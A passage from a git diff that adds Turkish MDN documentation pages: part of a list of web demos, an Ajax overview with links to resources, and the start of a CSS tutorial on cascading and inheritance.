creator</a> (<a href="https://github.com/summerstyle/summer">source code</a>)</li> +</ul> + +<h3 id="Video" name="Video">Video</h3> + +<ul> + <li><a class="external" href="http://www.double.co.nz/video_test/test1.html">Streaming Anime, Movie Trailer and Interview</a></li> + <li><a class="external" href="http://www.double.co.nz/video_test/test2.html">Billy's Browser Firefox Flick</a></li> + <li><a class="external" href="http://www.double.co.nz/video_test/test3.html">Virtual Barber Shop</a></li> + <li><a class="external" href="http://www.double.co.nz/video_test/test4.html">Transformers Movie Trailer</a></li> + <li><a class="external" href="http://www.double.co.nz/video_test/test5.html">A Scanner Darkly Movie Trailer</a> (with built in controls)</li> + <li><a class="external" href="http://www.double.co.nz/video_test/events.html">Events firing and volume control</a></li> + <li><a class="external" href="http://www.double.co.nz/video_test/video.svg" title="http://www.double.co.nz/video_test/video.svg">Dragable and sizable videos</a></li> +</ul> + +<h2 id="3D_Graphics">3D Graphics</h2> + +<h3 id="WebGL">WebGL</h3> + +<ul> + <li><a href="http://ondras.github.io/fireworks-webgl/">Web Audio Fireworks</a></li> + <li><a href="https://dl.dropboxusercontent.com/u/62064441/ioquake3.js/ioquake3.html">IoQuake3</a> (<a href="https://github.com/klaussilveira/ioquake3.js">source code</a>)</li> + <li><a href="http://micah.tech/demoscene/">Escher puzzle</a> (<a href="https://github.com/micahbolen/demoscene">source code</a>)</li> + <li><a href="http://collinhover.github.io/kaiopua/">Kai 'Opua</a> (<a href="https://github.com/collinhover/kaiopua">source code</a>)</li> +</ul> + +<h3 id="Virtual_Reality">Virtual Reality</h3> + +<ul> + <li><a href="http://mozvr.com/demos/polarsea/">The Polar Sea</a> (<a href="https://github.com/MozVR/polarsea">source code</a>)</li> + <li><a href="http://mozvr.github.io/sechelt/">Sechelt fly-through</a> (<a href="https://github.com/mozvr/sechelt">source code</a>)</li> +</ul> + +<h2 id="CSS">CSS</h2> + +<ul> + <li><a href="http://webdeveloperbareilly.in/blog/html5/responsive-contact-form-bootstrap.php">Responsive Contact Form</a></li> + <li><a href="http://felixniklas.com/paperfold/">Paperfold</a></li> + <li><a href="http://ondras.zarovi.cz/games/blockout/">CSS Blockout</a></li> + <li><a href="http://ondras.zarovi.cz/demos/rubik/">Rubik's cube</a></li> + <li><a href="http://ondras.zarovi.cz/demos/nojs/">Pure CSS Slides</a></li> + <li>Planetarium (<a href="https://github.com/littleworkshop/planetarium">source code</a>)</li> + <li><a href="http://www.lesmoffat.co.uk/folio/forest/forest.html">CSS Paralax Forest</a></li> + <li><a href="http://webdeveloperbareilly.in/blog/css3/awesome-login-form.html">Awesome Login Page</a></li> + <li><a href="http://webdeveloperbareilly.in/blog/css3/onepage-scroll-template.html">CSS3 One Page Scroll</a></li> +</ul> + +<h3 id="Transformations">Transformations</h3> + +<ul> + <li><a href="http://impress.github.io/impress.js">Impress.js</a> (<a href="https://github.com/impress/impress.js">source code</a>)</li> +</ul> + +<h2 id="Games">Games</h2> + +<ul> + <li><a href="https://dl.dropboxusercontent.com/u/62064441/ioquake3.js/ioquake3.html">IoQuake3</a> (<a href="https://github.com/klaussilveira/ioquake3.js">source code</a>)</li> + <li><a href="http://collinhover.github.io/kaiopua/">Kai 'Opua</a> (<a href="https://github.com/collinhover/kaiopua">source code</a>)</li> +</ul> + +<h2 id="HTML">HTML</h2> + +<ul> + <li> <a href="http://zenphoton.com">Zen Photon Garden </a>(<a href="https://github.com/scanlime/zenphoton">source code</a>)</li> + <li><a href="http://webdeveloperbareilly.in/blog/smo/html-meta-tags-for-social-media-optimization.html">HTMl Meta Tags For SMO</a></li> +</ul> + +<h2 id="Web_APIs">Web APIs</h2> + +<ul> +</ul> + +<h3 id="Notifications_API">Notifications API</h3> + +<ul> + <li>HTML5 Notifications (<a href="https://github.com/elfoxero/html5notifications">source code</a>)</li> +</ul> + +<ul> +</ul> + +<h3 id="Web_Audio_API">Web Audio API</h3> + +<ul> + <li><a href="http://ondras.github.io/fireworks-webgl/">Web Audio Fireworks</a></li> + <li><a href="http://ondras.github.io/oscope/">oscope.js - JavaScript oscilloscope</a></li> + <li><a href="http://mdn.github.io/audio-buffer/">Audio Buffer demo</a> (<a href="http://mdn.github.io/audio-buffer/">source code</a>)</li> + <li><a href="http://nipe-systems.de/webapps/html5-web-audio/">HTML5 Web Audio Showcase</a> (<a href="https://github.com/NIPE-SYSTEMS/html5-web-audio-showcase">source code</a>)</li> + <li><a href="http://wayou.github.io/HTML5_Audio_Visualizer/">HTML5 Audio Visualizer</a> (<a href="https://github.com/Wayou/HTML5_Audio_Visualizer">source code</a>)</li> + <li><a href="http://carlosrafaelgn.com.br/GraphicalFilterEditor/">Graphical Filter Editor and Visualizer</a> (<a href="https://github.com/carlosrafaelgn/GraphicalFilterEditor">source code</a>)</li> +</ul> + +<h3 id="Unclassified" name="Unclassified">Web Workers</h3> + +<ul> + <li><a href="http://ondras.zarovi.cz/demos/fractal/">Web Worker Fractals</a></li> + <li><a href="http://ondras.zarovi.cz/demos/photo/">Photo editor</a></li> + <li><a href="http://ondras.zarovi.cz/demos/coral/">Coral generator</a></li> + <li><a class="external" href="http://nerget.com/rayjs-mt/rayjs.html" title="http://nerget.com/rayjs-mt/rayjs.html">Raytracer</a></li> +</ul> diff --git a/files/tr/web/guide/ajax/index.html b/files/tr/web/guide/ajax/index.html new file mode 100644 index 0000000000..7aece12816 --- /dev/null +++ b/files/tr/web/guide/ajax/index.html @@ -0,0 +1,121 @@ +--- +title: Ajax +slug: Web/Guide/AJAX +translation_of: Web/Guide/AJAX +--- +<div class="callout-box"><strong><a href="/en-US/docs/AJAX/Getting_Started" title="en-US/docs/AJAX/Getting_Started">Başlarken</a></strong><br> +Ajax'a giriş.</div> + +<div> +<p><strong>Asenkronize JavaScript + XML</strong>, aslında bir teknoloji değil, 2005 yılında Jesse James tarafından geliştirilmiştir. AJAX, <a href="/en-US/docs/HTML" style="line-height: 1.5;" title="en-US/docs/HTML">HTML</a> , <a href="/en-US/docs/XHTML" style="line-height: 1.5;" title="en-US/docs/XHTML">XHTML</a> <span style="line-height: 1.5;">, </span><a href="/en-US/docs/CSS" style="line-height: 1.5;" title="en-US/docs/CSS">Cascading Style Sheets</a><span style="line-height: 1.5;">, </span><a href="/en-US/docs/JavaScript" style="line-height: 1.5;" title="en-US/docs/JavaScript">JavaScript</a><span style="line-height: 1.5;">, </span><a href="/en-US/docs/DOM" style="line-height: 1.5;" title="en-US/docs/DOM">The Document Object Model</a><span style="line-height: 1.5;">, </span><a href="/en-US/docs/XML" style="line-height: 1.5;" title="en-US/docs/XML">XML</a><span style="line-height: 1.5;">, </span><a href="/en-US/docs/XSLT" style="line-height: 1.5; text-decoration: underline;" title="en-US/docs/XSLT">XSLT</a> <span id="ouHighlight__0_2TO0_1" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">ve</span><span id="noHighlight_0.44718789122998714" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> </span><span style="line-height: 1.5;"> </span><span id="ouHighlight__4_7TO3_4" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">en</span><span id="noHighlight_0.4369756893720478" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> </span><span id="ouHighlight__9_19TO6_13" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">önemlisi </span><a href="/en-US/docs/DOM/XMLHttpRequest" style="line-height: 1.5; text-decoration: underline;">XMLHttpRequest object</a><span style="line-height: 1.5;"> </span><span style="line-height: 1.5;">gibi </span><span style="line-height: 1.5;">mevcut birçok teknolojinin bir arada kullanılmasıyla tanımlanır.</span></p> + +<p><span id="ouHighlight__56_58TO0_2" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">Web</span><span id="noHighlight_0.7786283385939896" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> </span><span id="ouHighlight__60_71TO4_15" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">uygulamaları</span><span id="noHighlight_0.9015628297347575" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> </span><span id="ouHighlight__44_47TO17_20" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">Ajax</span><span id="noHighlight_0.24559306120499969" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> </span><span id="ouHighlight__49_53TO22_30" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">modelinde </span><span id="ouHighlight__5_9TO32_33" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">bu</span><span id="noHighlight_0.6162111926823854" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> </span><span id="ouHighlight__11_22TO35_48" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">teknolojilerle</span><span id="noHighlight_0.2793352466542274" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> </span><span id="ouHighlight__0_3TO50_67" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">birleştirildiğinde</span><span id="noHighlight_0.32127178995870054" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">, </span><span id="ouHighlight__161_174TO70_80" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">tarayıcının</span><span id="noHighlight_0.8187880788464099" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> </span><span id="ouHighlight__176_179TO82_88" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">sayfayı</span><span id="noHighlight_0.8092812011018395" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> </span><span id="ouHighlight__147_155TO90_96" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">yeniden yükleme </span><span id="ouHighlight__139_145TO98_104" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">olmadan</span><span id="noHighlight_0.4394837652798742" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> </span><span id="ouHighlight__124_127TO106_114" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">kullanıcı</span><span id="noHighlight_0.7428704814519733" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> </span><span id="ouHighlight__129_137TO116_122" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">arayüzü</span><span id="noHighlight_0.38297620601952076" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> </span><span id="ouHighlight__90_94TO124_128" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">hızlı</span><span id="noHighlight_0.1281804747413844" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">, eklenmiş </span><span id="ouHighlight__109_115TO139_152" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">güncelleştirmeler</span><span id="noHighlight_0.8291458273306489" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> </span><span id="ouHighlight__82_83TO154_159" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">yapmak </span><span id="ouHighlight__77_80TO161_166" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">mümkün</span><span id="noHighlight_0.14670732175000012" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">.</span><span id="noHighlight_0.8634342923760414" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> </span><span id="ouHighlight__182_185TO169_170" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">Böylece </span><span id="ouHighlight__197_207TO172_179" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">uygulama</span><span id="noHighlight_0.5845255467575043" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> </span><span id="ouHighlight__209_214TO181_190" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">daha hızlı </span><span id="ouHighlight__216_218TO192_193" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">ve</span><span id="noHighlight_0.9066877507138997" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> </span><span id="ouHighlight__220_223TO195_198" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">daha</span><span id="noHighlight_0.7310307007282972" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> iyi olarak </span><span id="ouHighlight__239_242TO204_212" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">kullanıcı</span><span id="noHighlight_0.14593244390562177" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> </span><span id="ouHighlight__244_250TO214_224" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">eylemlerine </span><span id="ouHighlight__225_234TO226_230" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">yanıt</span><span id="noHighlight_0.755671429913491" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> verir</span><span id="noHighlight_0.35992295085452497" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">.</span></p> + +<p>Although X in Ajax stands for XML, <a href="/en-US/docs/JSON" title="https://developer.mozilla.org/en-US/docs/JSON">JSON</a> is used more than XML nowadays because of its many advantages such as being lighter and a part of JavaScript. Both JSON and XML are used for packaging information in Ajax model.</p> +</div> + +<div class="row topicpage-table"> +<div class="section"> +<h2 class="Documentation" id="Documentation">Documentation</h2> + +<dl> + <dt><a href="/en-US/docs/AJAX/Getting_Started" title="en-US/docs/AJAX/Getting_Started">Getting Started</a></dt> + <dd>This article guides you through the Ajax basics and gives you two simple hands-on examples to get you started.</dd> + <dt><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest">Using the XMLHttpRequest API</a></dt> + <dd>The <a href="/en-US/docs/DOM/XMLHttpRequest" title="XMLHttpRequest"><code>XMLHttpRequest</code> API</a> is the core of Ajax. This article will explain you how to use some Ajax techniques, like: + <ul> + <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Handling_responses" title="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Handling_responses">analyzing and manipulating the response of the server</a></li> + <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Monitoring_progress" title="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Monitoring_progress">monitoring the progress of a request</a></li> + <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files" title="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files">submitting forms and upload binary files</a> – in <em>pure</em> Ajax, or using <a href="/en-US/docs/DOM/XMLHttpRequest/FormData" title="DOM/XMLHttpRequest/FormData"><code>FormData</code></a> objects</li> + <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Types_of_requests" title="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Types_of_requests">creating synchronous or asynchronous requests</a></li> + <li>using Ajax within <a href="/en-US/docs/DOM/Worker" title="/en-US/docs/DOM/Worker">Web workers</a></li> + </ul> + </dd> + <dt><a href="/en-US/docs/Server-sent_events" title="/en-US/docs/Server-sent_events">Server-sent events</a></dt> + <dd>Traditionally, a web page has to send a request to the server to receive new data; that is, the page requests data from the server. With server-sent events, it's possible for a server to send new data to a web page at any time, by pushing messages to the web page. These incoming messages can be treated as <em><a href="/en-US/docs/DOM/event" title="DOM/Event">Events</a> + data</em> inside the web page. See also: <a href="/en-US/docs/Server-sent_events/Using_server-sent_events" title="/en-US/docs/Server-sent_events/Using_server-sent_events">Using server-sent events</a>.</dd> + <dt><a href="/en-US/docs/Web/Guide/DOM/Manipulating_the_browser_history/Example" title="/en-US/docs/Web/Guide/DOM/Manipulating_the_browser_history/Example"><em>Pure-Ajax</em> navigation example</a></dt> + <dd>This article provides a working (minimalist) example of a <em>pure-Ajax</em> web site composed only of three pages.</dd> + <dt><a href="/en-US/docs/DOM/XMLHttpRequest/Sending_and_Receiving_Binary_Data" title="/en-US/docs/DOM/XMLHttpRequest/Sending_and_Receiving_Binary_Data">Sending and Receiving Binary Data</a></dt> + <dd>The <code>responseType</code> property of the XMLHttpRequest object can be set to change the expected response type from the server. Possible values are the empty string (default), <code>"arraybuffer"</code>, <code>"blob"</code>, <code>"document"</code>, <code>"json"</code>, and <code>"text"</code>. The <code>response</code> property will contain the entity body according to <code>responseType</code>, as an <code>ArrayBuffer</code>, <code>Blob</code>, <code>Document</code>, <code>JSON</code>, or string. This article will show some Ajax I/O techniques.</dd> + <dt><a href="/en-US/docs/XML" title="XML">XML</a></dt> + <dd>The <strong>Extensible Markup Language (XML)</strong> is a W3C-recommended general-purpose markup language for creating special-purpose markup languages. It is a simplified subset of SGML, capable of describing many different kinds of data. Its primary purpose is to facilitate the sharing of data across different systems, particularly systems connected via the Internet.</dd> + <dt><a href="/en-US/docs/JXON" title="JXON">JXON</a></dt> + <dd>JXON stands for lossless <strong>J</strong>avascript <strong>X</strong>ML <strong>O</strong>bject <strong>N</strong>otation, it is a generic name by which is defined the representation of Javascript object trees (JSON) using XML.</dd> + <dt><a href="/en-US/docs/Parsing_and_serializing_XML" title="Parsing_and_serializing_XML">Parsing and serializing XML</a></dt> + <dd>How to parse an XML document from a string, a file or via javascript and how to serialize XML documents to strings, Javascript Object trees (JXON) or files.</dd> + <dt><a href="/en-US/docs/XPath" title="XPath">XPath</a></dt> + <dd>XPath stands for <strong>X</strong>ML <strong>Path</strong> Language, it uses a non-XML syntax that provides a flexible way of addressing (pointing to) different parts of an <a href="/en-US/docs/XML" title="XML">XML</a> document. As well as this, it can also be used to test addressed nodes within a document to determine whether they match a pattern or not.</dd> + <dt><a href="/en-US/docs/DOM/FileReader" title="/en-US/docs/DOM/FileReader">The <code>FileReader</code> API</a></dt> + <dd>The <code>FileReader</code> API lets web applications asynchronously read the contents of files (or raw data buffers) stored on the user's computer, using <a href="https://developer.mozilla.org/en-US/docs/DOM/File" title="/en-US/docs/DOM/File"><code>File</code></a> or <a href="https://developer.mozilla.org/en-US/docs/DOM/Blob" title="/en-US/docs/DOM/Blob"><code>Blob</code></a> objects to specify the file or data to read. File objects may be obtained from a <a href="https://developer.mozilla.org/en-US/docs/DOM/FileList" title="/en-US/docs/DOM/FileList"><code>FileList</code></a> object returned as a result of a user selecting files using the <code><a href="https://developer.mozilla.org/en-US/docs/HTML/Element/input" title="<input>"><input></a></code> element, from a drag and drop operation's <a href="https://developer.mozilla.org/En/DragDrop/DataTransfer" title="En/DragDrop/DataTransfer"><code>DataTransfer</code></a> object, or from the <code>mozGetAsFile()</code> API on an <a href="https://developer.mozilla.org/en-US/docs/DOM/HTMLCanvasElement" title="/en-US/docs/DOM/HTMLCanvasElement"><code>HTMLCanvasElement</code></a>.</dd> + <dt><a href="/en-US/docs/HTML_in_XMLHttpRequest" title="en-US/docs/HTML_in_XMLHttpRequest">HTML in XMLHttpRequest</a></dt> + <dd>The W3C <a class="external" href="http://dvcs.w3.org/hg/xhr/raw-file/tip/Overview.html">XMLHttpRequest</a> specification adds HTML parsing support to <a href="/en/DOM/XMLHttpRequest" title="en/DOM/XMLHttpRequest"><code>XMLHttpRequest</code></a>, which originally supported only XML parsing. This feature allows Web apps to obtain an HTML resource as a parsed DOM using <code>XMLHttpRequest</code>.</dd> + <dt><a href="/en-US/docs/AJAX/Other_Resources" title="en-US/docs/AJAX/Other_Resources">Other resources</a></dt> + <dd>Other Ajax resources you may find useful.</dd> +</dl> + +<p><span class="alllinks"><a href="/en-US/docs/tag/AJAX" title="en-US/docs/tag/AJAX">View All...</a></span></p> + +<h2 class="Other" id="See_also">See also</h2> + +<dl> + <dt><a href="http://www.webreference.com/programming/ajax_tech/">Alternate Ajax Techniques</a></dt> + <dd>Most articles on Ajax have focused on using XMLHttp as the means to achieving such communication, but Ajax techniques are not limited to just XMLHttp. There are several other methods.</dd> + <dt><a href="http://adaptivepath.com/ideas/ajax-new-approach-web-applications/">Ajax: A New Approach to Web Applications</a></dt> + <dd>Jesse James Garrett, of <a href="http://www.adaptivepath.com">adaptive path</a>, wrote this article in February 2005, introducing Ajax and its related concepts.</dd> + <dt><a href="http://www.onlamp.com/pub/a/onlamp/2005/05/19/xmlhttprequest.html">A Simpler Ajax Path</a></dt> + <dd>"As it turns out, it's pretty easy to take advantage of the XMLHttpRequest object to make a web app act more like a desktop app while still using traditional tools like web forms for collecting user input."</dd> + <dt><a href="http://www.contentwithstyle.co.uk/content/fixing-the-back-button-and-enabling-bookmarking-for-ajax-apps/" title="http://www.contentwithstyle.co.uk/content/fixing-the-back-button-and-enabling-bookmarking-for-ajax-apps/">Fixing the Back Button and Enabling Bookmarking for Ajax Apps</a></dt> + <dd>Mike Stenhouse has penned this article, detailing some methods you can use to fix back button and bookmarking issues when developing Ajax applications.</dd> + <dt><a href="http://alexbosworth.backpackit.com/pub/67688">Ajax Mistakes</a></dt> + <dd>Alex Bosworth has written this article outlining some of the mistakes Ajax application developers can make.</dd> + <dt><a href="http://www.xul.fr/en-xml-ajax.html">Tutorial</a> with examples.</dt> + <dd></dd> + <dt><a href="http://www.w3.org/TR/XMLHttpRequest/">XMLHttpRequest specification</a></dt> + <dd>W3C Working draft</dd> +</dl> +</div> + +<div class="section"> +<h2 class="Community" id="Community">Community</h2> + +<ul> + <li>View Mozilla forums...</li> +</ul> + +<div>{{ DiscussionList("dev-ajax", "mozilla.dev.ajax") }}</div> + +<ul> + <li><a href="/en-US/docs/AJAX/Community" title="en-US/docs/AJAX/Community">Ajax community links</a></li> +</ul> + +<h2 class="Tools" id="Tools">Tools</h2> + +<ul> + <li><a href="http://www.ajaxprojects.com">Toolkits and frameworks</a></li> + <li><a href="http://www.getfirebug.com/">Firebug - Ajax/Web development tool</a></li> + <li><a href="http://blog.monstuff.com/archives/000252.html">AJAX Debugging Tool</a></li> + <li><a href="http://www.osflash.org/doku.php?id=flashjs">Flash/AJAX Integration Kit</a></li> + <li><a href="http://xkr.us/code/javascript/XHConn/">A Simple XMLHTTP Interface Library</a></li> +</ul> + +<p><span class="alllinks"><a href="/en-US/docs/AJAX:Tools" title="en-US/docs/AJAX:Tools">View All...</a></span></p> + +<h2 id="Examples">Examples</h2> + +<ul> + <li><a href="http://www.dhtmlgoodies.com/index.html?whichScript=ajax-poller">Ajax poller script</a></li> + <li><a href="http://www.ajaxprojects.com/ajax/tutorialdetails.php?itemid=9">Ajax Chat Tutorial</a></li> + <li><a href="http://www.ajaxprojects.com/ajax/tutorialdetails.php?itemid=13">RSS Ticker with A</a>jax</li> + <li><a href="http://www.jamesdam.com/ajax_login/login.html#login">Ajax Login System using XMLHttpRequest</a></li> + <li><a href="http://www.thinkvitamin.com/features/ajax/create-your-own-ajax-effects">Create your own Ajax effects</a></li> + <li><a href="http://codinginparadise.org/weblog/2005/08/ajax-creating-huge-bookmarklets.html">Ajax: Creating Huge Bookmarklets</a></li> + <li><a href="http://www.hotajax.org">Ajax: Hot!Ajax There are many cool examples</a></li> +</ul> + +<h2 class="Related_Topics" id="Related_Topics">Related Topics</h2> + +<p><a href="/en-US/docs/HTML" title="en-US/docs/HTML">HTML</a>, <a href="/en-US/docs/XHTML" title="en-US/docs/XHTML">XHTML</a>, <a href="/en-US/docs/CSS" title="en-US/docs/CSS">CSS</a>, <a href="/en-US/docs/DOM" title="en-US/docs/DOM">DOM</a>, <a href="/en-US/docs/JavaScript" title="en-US/docs/JavaScript">JavaScript</a>, <a href="/en-US/docs/XML" title="en-US/docs/XML">XML</a>, <a href="/en-US/docs/nsIXMLHttpRequest" title="en-US/docs/XMLHttpRequest">XMLHttpRequest</a>, <a href="/en-US/docs/XSLT" title="en-US/docs/XSLT">XSLT</a>, <a href="/en-US/docs/DHTML" title="en-US/docs/DHTML">DHTML</a>, <a href="/en-US/docs/JavaScript/Same_origin_policy_for_JavaScript" title="en-US/docs/JavaScript/Same_origin_policy_for_JavaScript">Same Origin Policy</a></p> +</div> +</div> + +<p>{{ListSubpages}}</p> diff --git a/files/tr/web/guide/css/getting_started/cascading_and_inheritance/index.html b/files/tr/web/guide/css/getting_started/cascading_and_inheritance/index.html new file mode 100644 index 0000000000..799d91f85c --- /dev/null +++ b/files/tr/web/guide/css/getting_started/cascading_and_inheritance/index.html @@ -0,0 +1,146 @@ +--- +title: Cascading and inheritance +slug: Web/Guide/CSS/Getting_started/Cascading_and_inheritance +tags: + - Başlarken + - CSS + - Kılavuz + - Rehber + - Web + - Yeni başlayanlar için +translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance +--- +<p>{{ CSSTutorialTOC() }}</p> + +<p>{{ previousPage("/en-US/docs/Web/Guide/CSS/Getting_Started/How_CSS_works", "How CSS works.")}}<span class="seoSummary">This is the fourth section of the <a href="/en-US/docs/Web/Guide/CSS/Getting_Started" title="en/CSS/Getting Started">CSS Getting Started</a> tutorial; it outlines how stylesheets interact in a cascade, and how elements inherit style from their parents. You add to your sample stylesheet, using inheritance to alter the style of many parts of your document in one step.</span></p> + +<h2 class="clearLeft" id="Basamaklama(Cascading)_ve_kalıtım(Inheritance)">Basamaklama(Cascading) ve kalıtım(Inheritance)</h2> + +<p>Bir elementin son stili kompleks bir şekilde birbiriyle etkileşen bir çok yerde belirtilebilir. Bu kompleks etkileşim CSS'e güçlü bir yapı sağlar fakat; bir çok yerde bulunan stiller bazen karışabilir, hata ayıklamayı zorlaştırabilir. Bu duruma engel olmak için CSS'in öncelik sırası vardır. Bu öncelik kurallarını tarayıcı sıra ile uygular ve elementin stilini verir.</p> + +<p>Basamaklama ile gelen stillerin üç ana kaynağı vardır :</p> + +<ul> + <li>Tarayıcının markup dili için geçerli default stili.</li> + <li>Okuyucunun belirlediği stiller.</li> + <li>Belgenin yazarı tarafından belirtilen stiller. Bu stiller üç yerde bulunabilir; + <ul> + <li>Harici bir dosyada (örneğin: .../styles/style.css) ; bu kurs öncelikle bu yöntem üzerinde durmaktadır.</li> + <li>Belgenin başlangıcında (markup dilinde bu yöntem için en uygun yer <head> elementi içidir.) Bu yöntem sadece uygulanan belge için kullanılabilir.</li> + <li>Elementin içinde (markup dilinde elementlerin başlama tag'lerinin içine o elementin stili eklenebilir.); bu yöntem bakım ve test için kullanılabilir.</li> + </ul> + </li> +</ul> + +<p>Okuyucunun belirlediği stil, tarayıcıda default bulunan stili değiştirebilir. Ardından belgenin yaratıcısının stili biraz daha değişiklik yapar. Bu kursta, siz belgenin yazarısınız. Sadece belgenin yazarının stilleri üzerinde çalışacağız.</p> + +<div class="tuto_example"> +<div class="tuto_type">Örnek</div> + +<p>Bu kurstaki belgeleri okuyorken, stillerin bir kısmı, tarayıcınızın HTML için belirlediğini default stillerden gelir.</p> + +<p>Bir kısmı, sizin tarafınızdan düzenlenmiş tarayıcı stil ayarlarından gelir. Firefox'ta, ayarlar Tercihler kısmından veya tarayıcı dosyaları içinde bulunan <code>userContent.css </code>stil dosyasından düzenlenebilir.</p> + +<p>Stillerin çoğu kısmı ise, server'da bulunan stil belgesinden gelmektedir.</p> +</div> + +<p>Örnek belgenizi tarayıcınızda açtığınızda, {{ HTMLElement("strong") }} elementleri kalın görünecektir. Bu tarayıcınızın HTML için belirttiği stilden gelir.</p> + +<p>{{ HTMLElement("strong") }} elementleri kırmızıdır. Bu stil sizin belirttiğiniz stildir.</p> + +<p>Ayrıca {{ HTMLElement("strong") }} elementleri {{HTMLElement("p") }} elementinin stillerini devralırlar. Aynı şekilde {{ HTMLElement("p") }} elementi de {{ HTMLElement("body") }} elementinin stillerinin varisidir.</p> + +<p>Yazarın stilleri önceliğe sahiptir, ardından okuyucunun stilleri ve sonra tarayıcının defaul stilleri gelir.</p> + +<p>Kalıtsal stillemede, en ufak elementin stili ( mesela {{ HTMLElement("strong") }} elementi ) ebeveyni olan elementin stillerinden daha önceliklidir.</p> + +<p>Stilin uygulama sadece önceliğe bağlı değildir. Yani en ufak elementin önceliği en fazla olduğunda sadece onun stili uygulanmaz. Bir sonraki sayfada daha ayrıntılı açıklanacaktır.</p> + +<div class="tuto_details"> +<p><strong>Detay</strong></p> + +<p>CSS, <code>!important</code> kelimesi yardımıyla okuyucuya stillerinde yazardan üstünlük sağlayabilir.</p> + +<p>Bunun belgenin yazarı için anlamı, belgeyi okuyucunun nasıl gördüğünün kesin olarak bilinemeyeceğidir.</p> + +<p>Eğer basamaklama ve kalıtım ile ilgili daha fazla detay öğenmek istiyorsanız, CSS Spesifikasyonu'ndaki <a class="external" href="http://www.w3.org/TR/CSS21/cascade.html">Assigning property values, Cascading, and Inheritance</a> belgesine göz atın.</p> +</div> + +<h2 id="Çalışma_Kalıtımın_kullanımı">Çalışma: Kalıtımın kullanımı</h2> + +<ol> + <li>Editörünüzde örnek CSS dosyanızı açın.</li> + <li>Aşağıdaki satırı kopyalayın ve yapıştırın. Orada zaten bulunan satırın altına veya üstüne yapıştırmanızın hiç bir önemi yoktur. Fakat, en üste eklemek biraz daha mantıklıdır, çünkü {{ HTMLElement("p") }} elementi {{ HTMLElement("strong") }} elementinin ebeveynidir, üstüdür: + <pre class="brush:css">p {color: blue; text-decoration: underline;} +</pre> + </li> + <li>Tarayıcınızı yenileyin ve örnek belgenizdeki değişikliği görün. <code>text-decoration: underline</code> değeri paragraftaki tüm harfleri, baş harfler dahil, etkileyecektir.{{ HTMLElement("strong") }} elementleri, altçizgi stilini miras olarak, ebeveyni olan {{ HTMLElement("p") }} elementinden almıştır. Fakat {{ HTMLElement("strong") }} elementi kırmızı olarak belirtilmişti. Kırmızı onun kendi stilidir; bu yüzden kırmızı, ebeveyni olan {{ HTMLElement("p") }}'nin renk stili maviden önceliklidir.</li> +</ol> + +<h2 id="Before" name="Before">Öncesi</h2> + +<h3 id="HTML_içeriği">HTML içeriği</h3> + +<pre class="brush: html"><p> + <strong>C</strong>ascading + <strong>S</strong>tyle + <strong>S</strong>heets +</p> +</pre> + +<h3 id="CSS_içeriği">CSS içeriği</h3> + +<pre class="brush: css">strong {color:red} 